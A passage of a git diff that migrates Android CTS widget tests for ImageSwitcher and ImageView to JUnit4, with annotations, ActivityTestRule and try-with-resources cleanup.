     public void testSetImageURI() {
-        // new the ImageSwitcher instance
-        ImageSwitcher imageSwitcher = new ImageSwitcher(getContext());
-        ImageView iv = new ImageView(getContext());
-        imageSwitcher.addView(iv);
-        ImageView iv1 = new ImageView(getContext());
-        imageSwitcher.addView(iv1);
+        ImageView iv = new ImageView(mActivity);
+        mImageSwitcher.addView(iv);
+        ImageView iv1 = new ImageView(mActivity);
+        mImageSwitcher.addView(iv1);
 
-        File dbDir = getContext().getDir("tests", Context.MODE_PRIVATE);
+        File dbDir = mActivity.getDir("tests", Context.MODE_PRIVATE);
         File imagefile = new File(dbDir, "tempimage.jpg");
         if (imagefile.exists()) {
             imagefile.delete();
         }
         createSampleImage(imagefile, R.raw.testimage);
 
-        assertSame(iv, imageSwitcher.getCurrentView());
+        assertSame(iv, mImageSwitcher.getCurrentView());
         Uri uri = Uri.parse(imagefile.getPath());
-        imageSwitcher.setImageURI(uri);
-        assertSame(iv1, imageSwitcher.getCurrentView());
+        mImageSwitcher.setImageURI(uri);
+        assertSame(iv1, mImageSwitcher.getCurrentView());
 
         BitmapDrawable currViewBitmap =
-            (BitmapDrawable) ((ImageView) imageSwitcher.getCurrentView()).getDrawable();
+            (BitmapDrawable) ((ImageView) mImageSwitcher.getCurrentView()).getDrawable();
         Bitmap testImageBitmap = WidgetTestUtils.getUnscaledAndDitheredBitmap(
-                getContext().getResources(), R.raw.testimage,
+                mActivity.getResources(), R.raw.testimage,
                 currViewBitmap.getBitmap().getConfig());
         WidgetTestUtils.assertEquals(testImageBitmap, currViewBitmap.getBitmap());
 
         createSampleImage(imagefile, R.raw.scenery);
         uri = Uri.parse(imagefile.getPath());
-        imageSwitcher.setImageURI(uri);
-        assertSame(iv, imageSwitcher.getCurrentView());
+        mImageSwitcher.setImageURI(uri);
+        assertSame(iv, mImageSwitcher.getCurrentView());
         Bitmap sceneryImageBitmap = WidgetTestUtils.getUnscaledAndDitheredBitmap(
-                getContext().getResources(), R.raw.scenery,
+                mActivity.getResources(), R.raw.scenery,
                 currViewBitmap.getBitmap().getConfig());
         currViewBitmap =
-            (BitmapDrawable) ((ImageView) imageSwitcher.getCurrentView()).getDrawable();
+            (BitmapDrawable) ((ImageView) mImageSwitcher.getCurrentView()).getDrawable();
         WidgetTestUtils.assertEquals(sceneryImageBitmap, currViewBitmap.getBitmap());
 
         imagefile.delete();
 
-        imageSwitcher.setImageURI(null);
+        mImageSwitcher.setImageURI(null);
     }
 
+    @UiThreadTest
+    @Test
     public void testSetImageDrawable() {
-        ImageSwitcher imageSwitcher = new ImageSwitcher(getContext());
-        ImageView iv = new ImageView(getContext());
-        imageSwitcher.addView(iv);
-        ImageView iv1 = new ImageView(getContext());
-        imageSwitcher.addView(iv1);
+        ImageView iv = new ImageView(mActivity);
+        mImageSwitcher.addView(iv);
+        ImageView iv1 = new ImageView(mActivity);
+        mImageSwitcher.addView(iv1);
 
-        Resources resources = getContext().getResources();
-        assertSame(iv, imageSwitcher.getCurrentView());
+        Resources resources = mActivity.getResources();
+        assertSame(iv, mImageSwitcher.getCurrentView());
         Drawable drawable = resources.getDrawable(R.drawable.scenery);
-        imageSwitcher.setImageDrawable(drawable);
-        assertSame(iv1, imageSwitcher.getCurrentView());
-        assertSame(drawable, ((ImageView) imageSwitcher.getCurrentView()).getDrawable());
+        mImageSwitcher.setImageDrawable(drawable);
+        assertSame(iv1, mImageSwitcher.getCurrentView());
+        assertSame(drawable, ((ImageView) mImageSwitcher.getCurrentView()).getDrawable());
 
         drawable = resources.getDrawable(R.drawable.testimage);
-        imageSwitcher.setImageDrawable(drawable);
-        assertSame(iv, imageSwitcher.getCurrentView());
-        assertSame(drawable, ((ImageView) imageSwitcher.getCurrentView()).getDrawable());
+        mImageSwitcher.setImageDrawable(drawable);
+        assertSame(iv, mImageSwitcher.getCurrentView());
+        assertSame(drawable, ((ImageView) mImageSwitcher.getCurrentView()).getDrawable());
 
-        imageSwitcher.setImageDrawable(null);
+        mImageSwitcher.setImageDrawable(null);
     }
 
     private void createSampleImage(File imagefile, int resid) {
-        InputStream source = null;
-        OutputStream target = null;
-
-        try {
-            source = getContext().getResources().openRawResource(resid);
-            target = new FileOutputStream(imagefile);
-
+        try (InputStream source = mActivity.getResources().openRawResource(resid);
+             OutputStream target = new FileOutputStream(imagefile)) {
             byte[] buffer = new byte[1024];
             for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
                 target.write(buffer, 0, len);
             }
         } catch (IOException e) {
             fail(e.getMessage());
-        } finally {
-            try {
-                if (source != null) {
-                    source.close();
-                }
-                if (target != null) {
-                    target.close();
-                }
-            } catch (IOException ignored) {
-                // Ignore the IOException.
-            }
         }
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/ImageViewCtsActivity.java b/tests/tests/widget/src/android/widget/cts/ImageViewCtsActivity.java
index e68c986..c3529ee 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageViewCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageViewCtsActivity.java
@@ -16,10 +16,9 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.cts.R;
 
 /**
  * A minimal application for {@link ImageView} test.
diff --git a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
index 844b922..5476b22 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
@@ -16,60 +16,80 @@
 
 package android.widget.cts;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.Matchers.any;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.res.ColorStateList;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.ColorFilter;
+import android.graphics.Matrix;
+import android.graphics.PorterDuff;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.ColorDrawable;
+import android.graphics.drawable.Drawable;
+import android.graphics.drawable.Icon;
+import android.graphics.drawable.PaintDrawable;
+import android.net.Uri;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.AttributeSet;
+import android.util.Xml;
+import android.widget.ImageView;
+import android.widget.ImageView.ScaleType;
+import android.widget.cts.util.TestUtils;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
+
 import java.io.File;
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
 
-import android.content.res.ColorStateList;
-import android.graphics.Color;
-
-import android.graphics.drawable.ColorDrawable;
-import android.test.suitebuilder.annotation.SmallTest;
-import android.widget.cts.util.TestUtils;
-import android.widget.cts.util.ViewTestUtils;
-import org.junit.Assert;
-import org.xmlpull.v1.XmlPullParser;
-
-import android.app.Activity;
-import android.content.Context;
-import android.cts.util.WidgetTestUtils;
-import android.graphics.Bitmap;
-import android.graphics.BitmapFactory;
-import android.graphics.Canvas;
-import android.graphics.ColorFilter;
-import android.graphics.Matrix;
-import android.graphics.PorterDuff;
-import android.graphics.drawable.BitmapDrawable;
-import android.graphics.drawable.Drawable;
-import android.graphics.drawable.Icon;
-import android.graphics.drawable.PaintDrawable;
-import android.net.Uri;
-import android.test.ActivityInstrumentationTestCase;
-import android.test.UiThreadTest;
-import android.util.AttributeSet;
-import android.util.StateSet;
-import android.util.Xml;
-import android.widget.ImageView;
-import android.widget.ImageView.ScaleType;
-
-import android.widget.cts.R;
-
-import static org.mockito.Matchers.any;
-import static org.mockito.Mockito.*;
-
-
 /**
  * Test {@link ImageView}.
  */
-@SmallTest
-public class ImageViewTest extends ActivityInstrumentationTestCase<ImageViewCtsActivity> {
-    private ImageView mImageView;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ImageViewTest {
     private Activity mActivity;
+    private ImageView mImageViewRegular;
 
-    public ImageViewTest() {
-        super("android.widget.cts", ImageViewCtsActivity.class);
+    @Rule
+    public ActivityTestRule<ImageViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ImageViewCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
+        mImageViewRegular = (ImageView) mActivity.findViewById(R.id.imageview_regular);
     }
 
     /**
@@ -83,40 +103,18 @@
     }
 
     private void createSampleImage(File imagefile, int resid) {
-        InputStream source = null;
-        OutputStream target = null;
-
-        try {
-            source = mActivity.getResources().openRawResource(resid);
-            target = new FileOutputStream(imagefile);
-
+        try (InputStream source = mActivity.getResources().openRawResource(resid);
+             OutputStream target = new FileOutputStream(imagefile)) {
             byte[] buffer = new byte[1024];
             for (int len = source.read(buffer); len > 0; len = source.read(buffer)) {
                 target.write(buffer, 0, len);
             }
         } catch (IOException e) {
             fail(e.getMessage());
-        } finally {
-            try {
-                if (source != null) {
-                    source.close();
-                }
-                if (target != null) {
-                    target.close();
-                }
-            } catch (IOException ignored) {
-                // Ignore the IOException.
-            }
         }
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mImageView = null;
-        mActivity = getActivity();
-    }
-
+    @Test
     public void testConstructor() {
         new ImageView(mActivity);
 
@@ -130,114 +128,122 @@
         AttributeSet attrs = Xml.asAttributeSet(parser);
         new ImageView(mActivity, attrs);
         new ImageView(mActivity, attrs, 0);
-
-        try {
-            new ImageView(null, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-
-        try {
-            new ImageView(null, null, 0);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
     }
 
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext1() {
+        new ImageView(null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext2() {
+        new ImageView(null, null);
+    }
+
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext3() {
+        new ImageView(null, null, -1);
+    }
+
+    @UiThreadTest
+    @Test
     public void testInvalidateDrawable() {
-        ImageView imageView = new ImageView(mActivity);
-        imageView.invalidateDrawable(null);
+        mImageViewRegular.invalidateDrawable(null);
     }
 
+    @UiThreadTest
+    @Test
     public void testSetAdjustViewBounds() {
-        ImageView imageView = new ImageView(mActivity);
-        imageView.setScaleType(ScaleType.FIT_XY);
+        mImageViewRegular.setScaleType(ScaleType.FIT_XY);
 
-        imageView.setAdjustViewBounds(false);
-        assertFalse(imageView.getAdjustViewBounds());
-        assertEquals(ScaleType.FIT_XY, imageView.getScaleType());
+        mImageViewRegular.setAdjustViewBounds(false);
+        assertFalse(mImageViewRegular.getAdjustViewBounds());
+        assertEquals(ScaleType.FIT_XY, mImageViewRegular.getScaleType());
 
-        imageView.setAdjustViewBounds(true);
-        assertTrue(imageView.getAdjustViewBounds());
-        assertEquals(ScaleType.FIT_CENTER, imageView.getScaleType());
+        mImageViewRegular.setAdjustViewBounds(true);
+        assertTrue(mImageViewRegular.getAdjustViewBounds());
+        assertEquals(ScaleType.FIT_CENTER, mImageViewRegular.getScaleType());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetMaxWidth() {
-        ImageView imageView = new ImageView(mActivity);
-        imageView.setMaxWidth(120);
-        imageView.setMaxWidth(-1);
+        mImageViewRegular.setMaxWidth(120);
+        mImageViewRegular.setMaxWidth(-1);
     }
 
+    @UiThreadTest
+    @Test
     public void testSetMaxHeight() {
-        ImageView imageView = new ImageView(mActivity);
-        imageView.setMaxHeight(120);
-        imageView.setMaxHeight(-1);
+        mImageViewRegular.setMaxHeight(120);
+        mImageViewRegular.setMaxHeight(-1);
     }
 
+    @UiThreadTest
+    @Test
     public void testGetDrawable() {
-        final ImageView imageView = new ImageView(mActivity);
         final PaintDrawable drawable1 = new PaintDrawable();
         final PaintDrawable drawable2 = new PaintDrawable();
 
-        assertNull(imageView.getDrawable());
+        assertNull(mImageViewRegular.getDrawable());
 
-        imageView.setImageDrawable(drawable1);
-        assertEquals(drawable1, imageView.getDrawable());
-        assertNotSame(drawable2, imageView.getDrawable());
+        mImageViewRegular.setImageDrawable(drawable1);
+        assertEquals(drawable1, mImageViewRegular.getDrawable());
+        assertNotSame(drawable2, mImageViewRegular.getDrawable());
     }
 
     @UiThreadTest
+    @Test
     public void testSetImageIcon() {
-        mImageView = findImageViewById(R.id.imageview);
-        mImageView.setImageIcon(null);
-        assertNull(mImageView.getDrawable());
+        mImageViewRegular.setImageIcon(null);
+        assertNull(mImageViewRegular.getDrawable());
 
         Icon icon = Icon.createWithResource(mActivity, R.drawable.testimage);
-        mImageView.setImageIcon(icon);
-        assertTrue(mImageView.isLayoutRequested());
-        assertNotNull(mImageView.getDrawable());
+        mImageViewRegular.setImageIcon(icon);
+        assertTrue(mImageViewRegular.isLayoutRequested());
+        assertNotNull(mImageViewRegular.getDrawable());
         Drawable drawable = mActivity.getDrawable(R.drawable.testimage);
         BitmapDrawable testimageBitmap = (BitmapDrawable) drawable;
-        Drawable imageViewDrawable = mImageView.getDrawable();
+        Drawable imageViewDrawable = mImageViewRegular.getDrawable();
         BitmapDrawable imageViewBitmap = (BitmapDrawable) imageViewDrawable;
         WidgetTestUtils.assertEquals(testimageBitmap.getBitmap(), imageViewBitmap.getBitmap());
     }
 
     @UiThreadTest
+    @Test
     public void testSetImageResource() {
-        mImageView = findImageViewById(R.id.imageview);
-        mImageView.setImageResource(-1);
-        assertNull(mImageView.getDrawable());
+        mImageViewRegular.setImageResource(-1);
+        assertNull(mImageViewRegular.getDrawable());
 
-        mImageView.setImageResource(R.drawable.testimage);
-        assertTrue(mImageView.isLayoutRequested());
-        assertNotNull(mImageView.getDrawable());
+        mImageViewRegular.setImageResource(R.drawable.testimage);
+        assertTrue(mImageViewRegular.isLayoutRequested());
+        assertNotNull(mImageViewRegular.getDrawable());
         Drawable drawable = mActivity.getDrawable(R.drawable.testimage);
         BitmapDrawable testimageBitmap = (BitmapDrawable) drawable;
-        Drawable imageViewDrawable = mImageView.getDrawable();
+        Drawable imageViewDrawable = mImageViewRegular.getDrawable();
         BitmapDrawable imageViewBitmap = (BitmapDrawable) imageViewDrawable;
         WidgetTestUtils.assertEquals(testimageBitmap.getBitmap(), imageViewBitmap.getBitmap());
     }
 
     @UiThreadTest
+    @Test
     public void testSetImageURI() {
-        mImageView = findImageViewById(R.id.imageview);
-        mImageView.setImageURI(null);
-        assertNull(mImageView.getDrawable());
+        mImageViewRegular.setImageURI(null);
+        assertNull(mImageViewRegular.getDrawable());
 
-        File dbDir = getInstrumentation().getTargetContext().getDir("tests",
-                Context.MODE_PRIVATE);
+        File dbDir = mActivity.getDir("tests", Context.MODE_PRIVATE);
         File imagefile = new File(dbDir, "tempimage.jpg");
         if (imagefile.exists()) {
             imagefile.delete();
         }
         createSampleImage(imagefile, R.raw.testimage);
         final String path = imagefile.getPath();
-        mImageView.setImageURI(Uri.parse(path));
-        assertTrue(mImageView.isLayoutRequested());
-        assertNotNull(mImageView.getDrawable());
+        mImageViewRegular.setImageURI(Uri.parse(path));
+        assertTrue(mImageViewRegular.isLayoutRequested());
+        assertNotNull(mImageViewRegular.getDrawable());
 
-        Drawable imageViewDrawable = mImageView.getDrawable();
+        Drawable imageViewDrawable = mImageViewRegular.getDrawable();
         BitmapDrawable imageViewBitmap = (BitmapDrawable) imageViewDrawable;
         Bitmap.Config viewConfig = imageViewBitmap.getBitmap().getConfig();
         Bitmap testimageBitmap = WidgetTestUtils.getUnscaledAndDitheredBitmap(
@@ -247,179 +253,178 @@
     }
 
     @UiThreadTest
+    @Test
     public void testSetImageDrawable() {
-        mImageView = findImageViewById(R.id.imageview);
-
-        mImageView.setImageDrawable(null);
-        assertNull(mImageView.getDrawable());
+        mImageViewRegular.setImageDrawable(null);
+        assertNull(mImageViewRegular.getDrawable());
 
         final Drawable drawable = mActivity.getDrawable(R.drawable.testimage);
-        mImageView.setImageDrawable(drawable);
-        assertTrue(mImageView.isLayoutRequested());
-        assertNotNull(mImageView.getDrawable());
+        mImageViewRegular.setImageDrawable(drawable);
+        assertTrue(mImageViewRegular.isLayoutRequested());
+        assertNotNull(mImageViewRegular.getDrawable());
         BitmapDrawable testimageBitmap = (BitmapDrawable) drawable;
-        Drawable imageViewDrawable = mImageView.getDrawable();
+        Drawable imageViewDrawable = mImageViewRegular.getDrawable();
         BitmapDrawable imageViewBitmap = (BitmapDrawable) imageViewDrawable;
         WidgetTestUtils.assertEquals(testimageBitmap.getBitmap(), imageViewBitmap.getBitmap());
     }
 
     @UiThreadTest
+    @Test
     public void testSetImageBitmap() {
-        mImageView = findImageViewById(R.id.imageview);
-
-        mImageView.setImageBitmap(null);
+        mImageViewRegular.setImageBitmap(null);
         // A BitmapDrawable is always created for the ImageView.
-        assertNotNull(mImageView.getDrawable());
+        assertNotNull(mImageViewRegular.getDrawable());
 
         final Bitmap bitmap =
             BitmapFactory.decodeResource(mActivity.getResources(), R.drawable.testimage);
-        mImageView.setImageBitmap(bitmap);
-        assertTrue(mImageView.isLayoutRequested());
-        assertNotNull(mImageView.getDrawable());
-        Drawable imageViewDrawable = mImageView.getDrawable();
+        mImageViewRegular.setImageBitmap(bitmap);
+        assertTrue(mImageViewRegular.isLayoutRequested());
+        assertNotNull(mImageViewRegular.getDrawable());
+        Drawable imageViewDrawable = mImageViewRegular.getDrawable();
         BitmapDrawable imageViewBitmap = (BitmapDrawable) imageViewDrawable;
         WidgetTestUtils.assertEquals(bitmap, imageViewBitmap.getBitmap());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetImageState() {
-        mImageView = new ImageView(mActivity);
         int[] state = new int[8];
-        mImageView.setImageState(state, false);
-        assertSame(state, mImageView.onCreateDrawableState(0));
+        mImageViewRegular.setImageState(state, false);
+        assertSame(state, mImageViewRegular.onCreateDrawableState(0));
     }
 
+    @UiThreadTest
+    @Test
     public void testSetSelected() {
-        mImageView = new ImageView(mActivity);
-        assertFalse(mImageView.isSelected());
+        assertFalse(mImageViewRegular.isSelected());
 
-        mImageView.setSelected(true);
-        assertTrue(mImageView.isSelected());
+        mImageViewRegular.setSelected(true);
+        assertTrue(mImageViewRegular.isSelected());
 
-        mImageView.setSelected(false);
-        assertFalse(mImageView.isSelected());
+        mImageViewRegular.setSelected(false);
+        assertFalse(mImageViewRegular.isSelected());
     }
 
+    @UiThreadTest
+    @Test
     public void testSetImageLevel() {
         PaintDrawable drawable = new PaintDrawable();
         drawable.setLevel(0);
 
-        ImageView imageView = new ImageView(mActivity);
-        imageView.setImageDrawable(drawable);
-        imageView.setImageLevel(1);
+        mImageViewRegular.setImageDrawable(drawable);
+        mImageViewRegular.setImageLevel(1);
         assertEquals(1, drawable.getLevel());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessScaleType() {
-        final ImageView imageView = new ImageView(mActivity);
+        assertNotNull(mImageViewRegular.getScaleType());
 
-        try {
-            imageView.setScaleType(null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
-        assertNotNull(imageView.getScaleType());
+        mImageViewRegular.setScaleType(ImageView.ScaleType.CENTER);
+        assertEquals(ImageView.ScaleType.CENTER, mImageViewRegular.getScaleType());
 
-        imageView.setScaleType(ImageView.ScaleType.CENTER);
-        assertEquals(ImageView.ScaleType.CENTER, imageView.getScaleType());
+        mImageViewRegular.setScaleType(ImageView.ScaleType.MATRIX);
+        assertEquals(ImageView.ScaleType.MATRIX, mImageViewRegular.getScaleType());
 
-        imageView.setScaleType(ImageView.ScaleType.MATRIX);
-        assertEquals(ImageView.ScaleType.MATRIX, imageView.getScaleType());
+        mImageViewRegular.setScaleType(ImageView.ScaleType.FIT_START);
+        assertEquals(ImageView.ScaleType.FIT_START, mImageViewRegular.getScaleType());
 
-        imageView.setScaleType(ImageView.ScaleType.FIT_START);
-        assertEquals(ImageView.ScaleType.FIT_START, imageView.getScaleType());
+        mImageViewRegular.setScaleType(ImageView.ScaleType.FIT_END);
+        assertEquals(ImageView.ScaleType.FIT_END, mImageViewRegular.getScaleType());
 
-        imageView.setScaleType(ImageView.ScaleType.FIT_END);
-        assertEquals(ImageView.ScaleType.FIT_END, imageView.getScaleType());
+        mImageViewRegular.setScaleType(ImageView.ScaleType.CENTER_CROP);
+        assertEquals(ImageView.ScaleType.CENTER_CROP, mImageViewRegular.getScaleType());
 
-        imageView.setScaleType(ImageView.ScaleType.CENTER_CROP);
-        assertEquals(ImageView.ScaleType.CENTER_CROP, imageView.getScaleType());
-
-        imageView.setScaleType(ImageView.ScaleType.CENTER_INSIDE);
-        assertEquals(ImageView.ScaleType.CENTER_INSIDE, imageView.getScaleType());
+        mImageViewRegular.setScaleType(ImageView.ScaleType.CENTER_INSIDE);
+        assertEquals(ImageView.ScaleType.CENTER_INSIDE, mImageViewRegular.getScaleType());
     }
 
-    public void testAccessImageMatrix() {
-        final ImageView imageView = new ImageView(mActivity);
+    @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testSetNullScaleType() {
+        mImageViewRegular.setScaleType(null);
+    }
 
-        imageView.setImageMatrix(null);
-        assertNotNull(imageView.getImageMatrix());
+    @UiThreadTest
+    @Test
+    public void testAccessImageMatrix() {
+        mImageViewRegular.setImageMatrix(null);
+        assertNotNull(mImageViewRegular.getImageMatrix());
 
         final Matrix matrix = new Matrix();
-        imageView.setImageMatrix(matrix);
-        assertEquals(matrix, imageView.getImageMatrix());
+        mImageViewRegular.setImageMatrix(matrix);
+        assertEquals(matrix, mImageViewRegular.getImageMatrix());
     }
 
     @UiThreadTest
+    @Test
     public void testAccessBaseline() {
-        mImageView = findImageViewById(R.id.imageview);
-
-        mImageView.setImageDrawable(null);
-        assertNull(mImageView.getDrawable());
+        mImageViewRegular.setImageDrawable(null);
+        assertNull(mImageViewRegular.getDrawable());
 
         final Drawable drawable = mActivity.getDrawable(R.drawable.testimage);
-        mImageView.setImageDrawable(drawable);
+        mImageViewRegular.setImageDrawable(drawable);
 
-        assertEquals(-1, mImageView.getBaseline());
+        assertEquals(-1, mImageViewRegular.getBaseline());
 
-        mImageView.setBaseline(50);
-        assertEquals(50, mImageView.getBaseline());
+        mImageViewRegular.setBaseline(50);
+        assertEquals(50, mImageViewRegular.getBaseline());
 
-        mImageView.setBaselineAlignBottom(true);
-        assertTrue(mImageView.getBaselineAlignBottom());
-        assertEquals(mImageView.getMeasuredHeight(), mImageView.getBaseline());
+        mImageViewRegular.setBaselineAlignBottom(true);
+        assertTrue(mImageViewRegular.getBaselineAlignBottom());
+        assertEquals(mImageViewRegular.getMeasuredHeight(), mImageViewRegular.getBaseline());
 
-        mImageView.setBaselineAlignBottom(false);
-        assertFalse(mImageView.getBaselineAlignBottom());
-        assertEquals(50, mImageView.getBaseline());
+        mImageViewRegular.setBaselineAlignBottom(false);
+        assertFalse(mImageViewRegular.getBaselineAlignBottom());
+        assertEquals(50, mImageViewRegular.getBaseline());
     }
 
     @UiThreadTest
+    @Test
     public void testSetColorFilter1() {
-        mImageView = findImageViewById(R.id.imageview);
-
         final Drawable drawable = mActivity.getDrawable(R.drawable.testimage);
-        mImageView.setImageDrawable(drawable);
+        mImageViewRegular.setImageDrawable(drawable);
 
-        mImageView.setColorFilter(null);
+        mImageViewRegular.setColorFilter(null);
         assertNull(drawable.getColorFilter());
 
-        mImageView.setColorFilter(0, PorterDuff.Mode.CLEAR);
+        mImageViewRegular.setColorFilter(0, PorterDuff.Mode.CLEAR);
         assertNotNull(drawable.getColorFilter());
-        assertNotNull(mImageView.getColorFilter());
+        assertNotNull(mImageViewRegular.getColorFilter());
     }
 
     @UiThreadTest
+    @Test
     public void testClearColorFilter() {
-        mImageView = findImageViewById(R.id.imageview);
-
         final Drawable drawable = mActivity.getDrawable(R.drawable.testimage);
-        mImageView.setImageDrawable(drawable);
+        mImageViewRegular.setImageDrawable(drawable);
 
         ColorFilter cf = new ColorFilter();
-        mImageView.setColorFilter(cf);
+        mImageViewRegular.setColorFilter(cf);
 
-        mImageView.clearColorFilter();
+        mImageViewRegular.clearColorFilter();
         assertNull(drawable.getColorFilter());
-        assertNull(mImageView.getColorFilter());
+        assertNull(mImageViewRegular.getColorFilter());
     }
 
     @UiThreadTest
+    @Test
     public void testSetColorFilter2() {
-        mImageView = findImageViewById(R.id.imageview);
-
         final Drawable drawable = mActivity.getDrawable(R.drawable.testimage);
-        mImageView.setImageDrawable(drawable);
+        mImageViewRegular.setImageDrawable(drawable);
 
-        mImageView.setColorFilter(null);
+        mImageViewRegular.setColorFilter(null);
         assertNull(drawable.getColorFilter());
-        assertNull(mImageView.getColorFilter());
+        assertNull(mImageViewRegular.getColorFilter());
 
         ColorFilter cf = new ColorFilter();
-        mImageView.setColorFilter(cf);
+        mImageViewRegular.setColorFilter(cf);
         assertSame(cf, drawable.getColorFilter());
-        assertSame(cf, mImageView.getColorFilter());
+        assertSame(cf, mImageViewRegular.getColorFilter());
     }
 
+    @Test
     public void testDrawableStateChanged() {
         MockImageView imageView = spy(new MockImageView(mActivity));
         Drawable selectorDrawable = mActivity.getDrawable(R.drawable.statelistdrawable);
@@ -433,28 +438,35 @@
         // Test that our image view has indeed called its own drawableStateChanged()
         verify(imageView, times(1)).drawableStateChanged();
         // And verify that image view's state matches that of our drawable
-        Assert.assertArrayEquals(imageView.getDrawableState(), selectorDrawable.getState());
+        assertArrayEquals(imageView.getDrawableState(), selectorDrawable.getState());
     }
 
+    @Test
     public void testOnCreateDrawableState() {
         MockImageView mockImageView = new MockImageView(mActivity);
 
-        assertEquals(MockImageView.getEnabledStateSet(), mockImageView.onCreateDrawableState(0));
+        assertArrayEquals(MockImageView.getEnabledStateSet(),
+                mockImageView.onCreateDrawableState(0));
 
         int[] expected = new int[]{1, 2, 3};
         mockImageView.setImageState(expected, false);
-        assertSame(expected, mockImageView.onCreateDrawableState(1));
+        assertArrayEquals(expected, mockImageView.onCreateDrawableState(1));
 
         mockImageView.setImageState(expected, true);
-        try {
-            mockImageView.onCreateDrawableState(-1);
-            fail("should throw IndexOutOfBoundsException");
-        } catch (IndexOutOfBoundsException e) {
-        }
     }
 
+    @Test(expected=IndexOutOfBoundsException.class)
+    public void testOnCreateDrawableStateInvalid() {
+        MockImageView mockImageView = (MockImageView) findImageViewById(R.id.imageview_custom);
+        mockImageView.setImageState(new int[] {1, 2, 3}, true);
+        mockImageView.onCreateDrawableState(-1);
+    }
+
+    @UiThreadTest
+    @Test
     public void testOnDraw() {
-        MockImageView mockImageView = new MockImageView(mActivity);
+        MockImageView mockImageView = (MockImageView) findImageViewById(R.id.imageview_custom);
+
         Drawable drawable = spy(mActivity.getDrawable(R.drawable.icon_red));
         mockImageView.setImageDrawable(drawable);
         mockImageView.onDraw(new Canvas());
@@ -462,13 +474,15 @@
         verify(drawable, atLeastOnce()).draw(any(Canvas.class));
     }
 
+    @UiThreadTest
+    @Test
     public void testOnMeasure() {
-        mImageView = findImageViewById(R.id.imageview);
-        mImageView.measure(200, 150);
-        assertTrue(mImageView.getMeasuredWidth() <= 200);
-        assertTrue(mImageView.getMeasuredHeight() <= 150);
+        mImageViewRegular.measure(200, 150);
+        assertTrue(mImageViewRegular.getMeasuredWidth() <= 200);
+        assertTrue(mImageViewRegular.getMeasuredHeight() <= 150);
     }
 
+    @Test
     public void testSetFrame() {
         MockImageView mockImageView = spy(new MockImageView(mActivity));
         verify(mockImageView, never()).onSizeChanged(anyInt(), anyInt(), anyInt(), anyInt());
@@ -486,123 +500,130 @@
         verify(mockImageView, times(1)).onSizeChanged(anyInt(), anyInt(), anyInt(), anyInt());
     }
 
+    @UiThreadTest
+    @Test
     public void testVerifyDrawable() {
-        MockImageView mockImageView = new MockImageView(mActivity);
+        MockImageView mockImageView = (MockImageView) findImageViewById(R.id.imageview_custom);
+
         Drawable drawable = new ColorDrawable(0xFFFF0000);
         mockImageView.setImageDrawable(drawable);
         Drawable backgroundDrawable = new ColorDrawable(0xFF0000FF);
         mockImageView.setBackgroundDrawable(backgroundDrawable);
 
-        assertFalse(mockImageView.verifyDrawable(null));
         assertFalse(mockImageView.verifyDrawable(new ColorDrawable(0xFF00FF00)));
         assertTrue(mockImageView.verifyDrawable(drawable));
         assertTrue(mockImageView.verifyDrawable(backgroundDrawable));
     }
 
     @UiThreadTest
+    @Test
     public void testImageTintBasics() {
-        mImageView = findImageViewById(R.id.image_tint);
+        ImageView imageViewTinted = (ImageView) mActivity.findViewById(R.id.imageview_tint);
 
         assertEquals("Image tint inflated correctly",
-                Color.WHITE, mImageView.getImageTintList().getDefaultColor());
+                Color.WHITE, imageViewTinted.getImageTintList().getDefaultColor());
         assertEquals("Image tint mode inflated correctly",
-                PorterDuff.Mode.SRC_OVER, mImageView.getImageTintMode());
+                PorterDuff.Mode.SRC_OVER, imageViewTinted.getImageTintMode());
 
-        mImageView.setImageTintMode(PorterDuff.Mode.SRC_IN);
-        assertEquals(PorterDuff.Mode.SRC_IN, mImageView.getImageTintMode());
+        imageViewTinted.setImageTintMode(PorterDuff.Mode.SRC_IN);
